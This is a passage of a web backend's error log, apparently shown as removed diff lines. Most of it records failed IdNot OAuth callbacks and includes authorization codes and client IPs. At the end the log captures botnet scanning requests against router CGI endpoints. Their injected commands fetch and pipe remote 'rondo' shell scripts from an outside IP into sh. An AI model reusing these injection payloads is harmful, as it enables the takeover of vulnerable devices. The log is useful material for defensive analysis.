x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758610924632_u6m9vcjhw', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu1bBV34FW5N7lZSPcKe9fZF7x4jnxJxyBCPVV2FNlKZOQEqLKRO6T1bM8umhkD6_sfPPwNlq08D5YT9uEvcZR_D85XHh5M__L7QB_8U4LFovxvIOygzEYw-OCdAywYAqQvoClZXC2_jBmkCXMGYx7v6J1pqmzZR3zqvD2mdYTkEUgvh9wzYEC8KFGf_G7_BHYP_EkapudbSqNoP0-JwdedB1bTby56IteGvI7_rj9dlnaBbEVhGQMSx-7maDic2eY-0aFhpLlnslqxNJGXTbPEqL9YH5OB0mBRmC4bAHRzXUmdVubs5Gy_XNfN7TEmmLCi9j3FEw-SZgGRY7cnyJrJv9Wvq6YyQfcPmXj4pbG24b179yIe1IAcf1celJx8dX1d5zpamYMRfQ2tNh8HCPIKqwa9gt5M54ick1P7NOZiC7qnozoejgpjHe5ub-HAoEfQcR-awlswmsDszPR5ohx7Y7EnXuSgPxDjflwyvMFl9OXSGwukLzxMnYlEYnmZ2p-ZKDBuSGzVF0mR7Icc6PSGdJ5XO4usVEhYXDZPTX48RMDqtWE86gzHL6La2fnWcwBw', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '86.253.219.131', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T07:06:58.044Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu1bBV34FW5N7lZSPcKe9fZF7x4jnxJxyBCPVV2FNlKZOQEqLKRO6T1bM8umhkD6_sfPPwNlq08D5YT9uEvcZR_D85XHh5M__L7QB_8U4LFovxvIOygzEYw-OCdAywYAqQvoClZXC2_jBmkCXMGYx7v6J1pqmzZR'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu1bBV34FW5N7lZSPcKe9fZF7x4jnxJxyBCPVV2FNlKZOQEqLKRO6T1bM8umhkD6_sfPPwNlq08D5YT9uEvcZR_D85XHh5M__L7QB_8U4LFovxvIOygzEYw-OCdAywYAqQvoClZXC2_'... 440 more characters, - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15' - }, - requestId: 'req_1758611218043_bh36ptj0m' -} -❌ [ERROR] 2025-09-23T07:06:58.045Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu1bBV34FW5N7lZSPcKe9fZF7x4jnxJxyBCPVV2FNlKZOQEqLKRO6T1bM8umhkD6_sfPPwNlq08D5YT9uEvcZR_D85XHh5M__L7QB_8U4LFovxvIOygzEYw-OCdAywYAqQvoClZXC2_jBmkCXMGYx7v6J1pqmzZR3zqvD2mdYTkEUgvh9wzYEC8KFGf_G7_BHYP_EkapudbSqNoP0-JwdedB1bTby56IteGvI7_rj9dlnaBbEVhGQMSx-7maDic2eY-0aFhpLlnslqxNJGXTbPEqL9YH5OB0mBRmC4bAHRzXUmdVubs5Gy_XNfN7TEmmLCi9j3FEw-SZgGRY7cnyJrJv9Wvq6YyQfcPmXj4pbG24b179yIe1IAcf1celJx8dX1d5zpamYMRfQ2tNh8HCPIKqwa9gt5M54ick1P7NOZiC7qnozoejgpjHe5ub-HAoEfQcR-awlswmsDszPR5ohx7Y7EnXuSgPxDjflwyvMFl9OXSGwukLzxMnYlEYnmZ2p-ZKDBuSGzVF0mR7Icc6PSGdJ5XO4usVEhYXDZPTX48RMDqtWE86gzHL6La2fnWcwBw - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu1bBV34FW5N7lZSPcKe9fZF7x4jnxJxyBCPVV2FNlKZOQEqLKRO6T1bM8umhkD6_sfPPwNlq08D5YT9uEvcZR_D85XHh5M__L7QB_8U4LFovxvIOygzEYw-OCdAywYAqQvoClZXC2_'... 440 more characters, - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15' - }, - requestId: 'req_1758611218043_bh36ptj0m', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '93.3.5.138', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T07:09:12.618Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758611352617_ldl1qxmv2' -} -❌ [ERROR] 2025-09-23T07:09:12.619Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758611352617_ldl1qxmv2', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T07:31:23.514Z HTTP GET / - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:204.76.203.219', - method: 'GET', - url: '/', - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' - }, - requestId: 'req_1758612683512_pgkq2yagc', - response: { - statusCode: 404 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '93.3.5.138', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T07:38:30.275Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758613110274_b34lhsmgb' -} -❌ [ERROR] 2025-09-23T07:38:30.276Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758613110274_b34lhsmgb', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodAnkMQxGp-w5WfOvko_5czOkgwNUqx39DXBazJYMncm-UJkCUOJOUUJkT4cGg78H0J_KvA_Co1Yd1NhlWk0mze-UNPRG7RIwrGcx5lqVwE118-k5CcEE0oFfCLXbf7xQPPG74FkbhY24oA6pG9mTLsVXOrwiuFlPumGwP5eKO-QO_bqbYagjzYUjEo6Ur2JJY0K7ZomQTfm-yQcnskFRHIpM5Lie3I-krfgJTwHQZIy6729d6rIVgxDgcQf8c2f-DDC1I4nST4omdsExQpxOls1yqc0qLOUYaqXC1KWwLrt0CE_w16dBnSlQ6jrr0rL9G8gUkDjkQkt-f7kNSO_SGGSPuEYtnF5dSUvBsdRf7f5kXcVLNHXG2h0yY3srZzTrJZteKOEVIaVV_qs93y8QMjwPbLEAKX8fIy88-YHGoV5G1IxI4uQbh8Ts4wTAjpYuN8iN9kNYIdKXPTdM2GZ-2fOImTdTJWcIaZwevVxbv6CdMOpMAO-BH-bObJ0TLE5J91qiS8e5AOehulD_5ZN7Ftk', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '93.3.5.138', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T07:39:22.129Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodAnkMQxGp-w5WfOvko_5czOkgwNUqx39DXBazJYMncm-UJkCUOJOUUJkT4cGg78H0J_KvA_Co1Yd1NhlWk0mze-UNPRG7RIwrGcx5lqVwE118-k5CcEE'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodAnkMQxGp-w5WfOvko_5czOkgwNUqx39DXBazJYMncm-UJkCUOJOUUJkT4cGg78H0J_KvA_Co1Yd1NhlWk0mze-UNPRG7RI'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758613162127_wy1mw1ins' -} -❌ [ERROR] 2025-09-23T07:39:22.130Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodAnkMQxGp-w5WfOvko_5czOkgwNUqx39DXBazJYMncm-UJkCUOJOUUJkT4cGg78H0J_KvA_Co1Yd1NhlWk0mze-UNPRG7RIwrGcx5lqVwE118-k5CcEE0oFfCLXbf7xQPPG74FkbhY24oA6pG9mTLsVXOrwiuFlPumGwP5eKO-QO_bqbYagjzYUjEo6Ur2JJY0K7ZomQTfm-yQcnskFRHIpM5Lie3I-krfgJTwHQZIy6729d6rIVgxDgcQf8c2f-DDC1I4nST4omdsExQpxOls1yqc0qLOUYaqXC1KWwLrt0CE_w16dBnSlQ6jrr0rL9G8gUkDjkQkt-f7kNSO_SGGSPuEYtnF5dSUvBsdRf7f5kXcVLNHXG2h0yY3srZzTrJZteKOEVIaVV_qs93y8QMjwPbLEAKX8fIy88-YHGoV5G1IxI4uQbh8Ts4wTAjpYuN8iN9kNYIdKXPTdM2GZ-2fOImTdTJWcIaZwevVxbv6CdMOpMAO-BH-bObJ0TLE5J91qiS8e5AOehulD_5ZN7Ftk - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 3, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodAnkMQxGp-w5WfOvko_5czOkgwNUqx39DXBazJYMncm-UJkCUOJOUUJkT4cGg78H0J_KvA_Co1Yd1NhlWk0mze-UNPRG7RI'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758613162127_wy1mw1ins', - response: { - statusCode: 400 - } -} -[IdNotCallback] incoming request { - originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodERX45TkPgsC_V3M8nZDanfffabflbYl-MiA-pK3iopdOxvWv2H9powEbsBB5frmAlke1VHauv1GHTAJ0PnaRqfWEu2Tng7Uo--1AIoLyqfuMj2tVzVLUlQZcFB52y3b6_FhW9z9KfF_bcBEXwIzySHnEC5VpugUBt0RsA_kOINTKCEJdPFzn4x8SgiGshPa_R8KwKbiEwa8SjZYOVK2b1-fmS7JcLVRJ-mBRUrSZg7u036B0ISY0WFcZehg4WFo8lRMREPuc3ShJ50aV5E87diNI_7zX8ZqC8SxYyYcOnRv5ln_FuHPNAN7w00ocjQoN9Fjm4KZt6en9UarjC1_JKjGWMZDdm-KONswpUXoHQDl9X4ABqlewZLNgit8VOxt6Kavrg1Uoh1PysUDO2sxMeiuVvlQ4IutOdtonQ0X-p8SALsbcg7e_bbL8Rg3haI7QOL95BKC3cfCkGmJQ1U5HLhtxSwAUmd0rgzGHKrm44lRC3y9GecCmWrJAXNBZZIrQuV8Xzt8e93ntQCU3rGQod0', - method: 'GET', - query: { - code_present: true, - code_length: 619, - state_present: false, - state_length: undefined - }, - headers: { - host: 'dev3.4nkweb.com', - 'x-forwarded-for': '93.3.5.138', - 'x-forwarded-proto': 'https' - } -} -❌ [ERROR] 2025-09-23T07:43:06.451Z Application error occurred -──────────────────────────────────────────────────────────────────────────────── -{ - error: { - code: 'VALIDATION_ERROR', - details: [ - { - constraints: [ - 'required' - ], - field: 'code', - value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodERX45TkPgsC_V3M8nZDanfffabflbYl-MiA-pK3iopdOxvWv2H9powEbsBB5frmAlke1VHauv1GHTAJ0PnaRqfWEu2Tng7Uo--1AIoLyqfuMj2tVzVL'... 419 more characters - }, - { - constraints: [ - 'required' - ], - field: 'state', - value: undefined - } - ], - message: 'Missing code or state', - stack: 'Error: Missing code or state\n' + - ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + - ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, - statusCode: 400 - }, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodERX45TkPgsC_V3M8nZDanfffabflbYl-MiA-pK3iopdOxvWv2H9powEbsBB5frmAlke1VHauv1GHTAJ0PnaRqfWEu2Tng7'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758613386450_reyu5ppm5' -} -❌ [ERROR] 2025-09-23T07:43:06.453Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodERX45TkPgsC_V3M8nZDanfffabflbYl-MiA-pK3iopdOxvWv2H9powEbsBB5frmAlke1VHauv1GHTAJ0PnaRqfWEu2Tng7Uo--1AIoLyqfuMj2tVzVLUlQZcFB52y3b6_FhW9z9KfF_bcBEXwIzySHnEC5VpugUBt0RsA_kOINTKCEJdPFzn4x8SgiGshPa_R8KwKbiEwa8SjZYOVK2b1-fmS7JcLVRJ-mBRUrSZg7u036B0ISY0WFcZehg4WFo8lRMREPuc3ShJ50aV5E87diNI_7zX8ZqC8SxYyYcOnRv5ln_FuHPNAN7w00ocjQoN9Fjm4KZt6en9UarjC1_JKjGWMZDdm-KONswpUXoHQDl9X4ABqlewZLNgit8VOxt6Kavrg1Uoh1PysUDO2sxMeiuVvlQ4IutOdtonQ0X-p8SALsbcg7e_bbL8Rg3haI7QOL95BKC3cfCkGmJQ1U5HLhtxSwAUmd0rgzGHKrm44lRC3y9GecCmWrJAXNBZZIrQuV8Xzt8e93ntQCU3rGQod0 - 400 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 3, - request: { - ip: '::ffff:127.0.0.1', - method: 'GET', - url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DBtAST_8o9d-ZZLc-HeGodERX45TkPgsC_V3M8nZDanfffabflbYl-MiA-pK3iopdOxvWv2H9powEbsBB5frmAlke1VHauv1GHTAJ0PnaRqfWEu2Tng7'... 440 more characters, - userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' - }, - requestId: 'req_1758613386450_reyu5ppm5', - response: { - statusCode: 400 - } -} -❌ [ERROR] 2025-09-23T07:48:59.302Z HTTP POST /tmUnblock.cgi - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 2, - request: { - ip: '::ffff:45.88.186.32', - method: 'POST', - url: '/tmUnblock.cgi', - userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' - }, - requestId: 'req_1758613739300_911mt5egm', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T07:48:59.518Z HTTP GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%60busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.zqq.sh%7Csh%60 - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.88.186.32', - method: 'GET', - url: '/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=%60busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.zqq.sh%7Csh%60', - userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' - }, - requestId: 'req_1758613739517_3qpgxdtrl', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T07:48:59.624Z HTTP GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.ush.sh%7Csh%26&curpath=%2F¤tsetting.htm=1 - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.88.186.32', - method: 'GET', - url: '/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.ush.sh%7Csh%26&curpath=%2F¤tsetting.htm=1', - userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' - }, - requestId: 'req_1758613739623_6ufpb13zu', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T07:48:59.735Z HTTP GET /cgi-bin/;wget${IFS}-qO-${IFS}http://74.194.191.52/rondo.sbx.sh|sh&echo${IFS} - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 1, - request: { - ip: '::ffff:45.88.186.32', - method: 'GET', - url: '/cgi-bin/;wget${IFS}-qO-${IFS}http://74.194.191.52/rondo.sbx.sh|sh&echo${IFS}', - userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' - }, - requestId: 'req_1758613739734_mdwa560zb', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T07:48:59.951Z HTTP POST /goform/mp - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.88.186.32', - method: 'POST', - url: '/goform/mp', - userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' - }, - requestId: 'req_1758613739949_klgw1xtkw', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T07:49:00.059Z HTTP GET /goform/setUsbUnload/.js?deviceName=A%3Bbusybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.uzz.sh%7Csh%26echo%20 - 404 -──────────────────────────────────────────────────────────────────────────────── -{ - duration: 0, - request: { - ip: '::ffff:45.88.186.32', - method: 'GET', - url: '/goform/setUsbUnload/.js?deviceName=A%3Bbusybox%20wget%20-qO-%20http%3A%2F%2F74.194.191.52%2Frondo.uzz.sh%7Csh%26echo%20', - userAgent: 'Mozilla/5.0 (bang2012@protonmail.com)' - }, - requestId: 'req_1758613740058_ybt12jyri', - response: { - statusCode: 404 - } -} -❌ [ERROR] 2025-09-23T07:49:00.277Z HTTP POST 